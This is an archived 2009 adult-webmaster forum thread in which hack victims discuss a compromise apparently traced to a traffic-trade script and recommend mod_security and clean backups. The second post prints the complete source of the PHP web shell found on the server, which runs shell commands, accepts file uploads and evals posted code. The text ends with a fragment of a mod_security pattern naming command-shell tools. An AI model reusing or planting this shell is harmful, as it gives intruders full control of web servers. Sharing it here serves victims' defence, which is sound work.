|
|
|
|
||||
|
Welcome to the GoFuckYourself.com - Adult Webmaster Forum forums. You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today! If you have any problems with the registration process or your account login, please contact us. |
 |
|
|||||||
| Discuss what's fucking going on, and which programs are best and worst. One-time "program" announcements from "established" webmasters are allowed. |
|
|
Thread Tools |
09-20-2009, 11:21 AM
|
#1 | |||
|
Confirmed User
Join Date: Sep 2003
Posts: 2,255
|
Attn: Comus hack victim. - Warning!
Did you make sure you install mod_security to your server?
I had the same CT hack and had it resolved by installing it. After resolving issue, I first thought it was trojan hack that sniffs ftp password from local machine. but it wasn't. Hacker had installed phpshell backdoor(something like r57shell, c99shell etc.) somewhere in server and I'm sure it came from security holes of CT. Once it has installed, it will executed independently so removing ct won't help. The bad shell scans your websites to find weak php/html files. After it finds target files, it injects the code every 2 minutes. I found many mod_security warnings from /var/log/httpd/error_log Quote:
http://www.fuxyvids.com/vid/86/vgoJ6...vgoJ6xWBzS.php (hacker's backdoor??) Source looks like this. Quote:
Quote:
Code is stopped but I need to fix this shit by the root. Thankfully I have clean backup and gonna move to another managed host. If you're still getting js attack, ask you host to install mod_security. it will stop code anyway... then watch your error log and delete all php backdoors. at least you can make clean backup... 
__________________
254-282-542 |
|||
|
|
|
09-20-2009, 11:34 AM
|
#2 |
|
Too lazy to set a custom title
Join Date: Jun 2006
Posts: 19,049
|
in html it gives this:
Code:
if (strlen($_POST[ccc])==0){if ($_POST[pass]!='123'){echo '<html><body bgcolor=#BBFFBB onload="document.myf.pass.focus();"><form method=POST><input name=pass></form></body></html>';exit();}echo '<html><body bgcolor=#BBFFBB onload="document.myf.cc.focus();">';echo '<form name=myf method=POST enctype="multipart/form-data"><input type=hidden name=pass value='.$_POST[pass].'><input type=file name=upfile><input name=newname><input type=submit><br>';echo '<input name=cc size=73 value="'.stripslashes($_POST[cc]).'"></form>';echo '<pre>'; if (move_uploaded_file($_FILES['upfile']['tmp_name'], $_POST[newname])) { /*echo "Sent.<br>\n";*/ }if ($_POST[mfile]) { $fp=fopen($_POST[newname],'w'); for($k=0; $k<strlen($_POST[mfile]); $k+=2) { $cc = substr($_POST[mfile],$k,2); $cc = '0x'.$cc; $cc = round($cc); $cc = chr($cc); fwrite($fp,$cc); } fclose($fp); }$co=stripslashes($_POST[cc]); $out = '';if(function_exists('exec')){exec($co,$out);$out = join("\n",$out);}elseif(function_exists('passthru')){ob_start();passthru($co);$out = ob_get_contents();ob_end_clean();}elseif(function_exists('system')){ob_start();system($co);$out = ob_get_contents();ob_end_clean();}elseif(function_exists('shell_exec')){$out = shell_exec($co);}elseif(is_resource($f = popen($co,"r"))){$out = "";while(!@feof($f)) { $out .= fread($f,1024);}pclose($f);}else {$out='ex failed';}echo $out;echo '</pre>';echo '</body></html>';} else {if(get_magic_quotes_gpc()){eval(stripslashes($_POST[ccc]));} else {eval($_POST[ccc]);}}
|
|
|
|
09-20-2009, 11:38 AM
|
#3 |
|
Pay It Forward
Industry Role:
Join Date: Sep 2005
Location: Yo Mama House
Posts: 77,060
|
damn he fucked you hope you got dinner first j/k hahaha thats fucked up shit
__________________
TRUMP 2025 KEKAW!!! - The Laken Riley Act Is Law! DACA ENDED - SUPPORT AZ HCR 2060 52R - email: brassballz-at-techie.com |
|
|
|
|
09-20-2009, 11:40 AM
|
#4 |
Industry Role:
Join Date: Aug 2006
Location: Little Vienna
Posts: 32,235
|
I did installed some nasty mod security settings and i got 268 mails about various errors and injections attempts.There are some other solutions on adx forum.
|
|
|
|
|
09-20-2009, 12:20 PM
|
#5 | |
|
Confirmed User
Industry Role:
Join Date: Dec 2002
Location: in your head
Posts: 3,625
|
Quote:
__________________
icq:148573096 skype:dabone2 email:boneless(a)mgpteam(.)com |
|
|
|
|
|
09-20-2009, 12:49 PM
|
#6 |
|
Confirmed User
Industry Role:
Join Date: Apr 2006
Location: Germany
Posts: 4,323
|
Hmm, maybe the people who ran an icq chat on my server about 2 years ago did get in via comus afterall.
Spiked my bandwidth up to over $1000 in overages. Luckily, my host waived the overages.
__________________
--- ICQ 14-76-98 <-- I don't use this at all |
|
|
|
?:n(?:et(?:\\b\\W+?\\blocalgroup|\\.exe )|(?:map|c)\\.exe)|t(?:racer(?:oute|t)|elnet\\.exe |clsh8?|ftp)|(?:w(?:guest|sh)|rcmd|ftp)\\.exe|echo \\b\\W*?\\by+)\\b|c(?:md(?
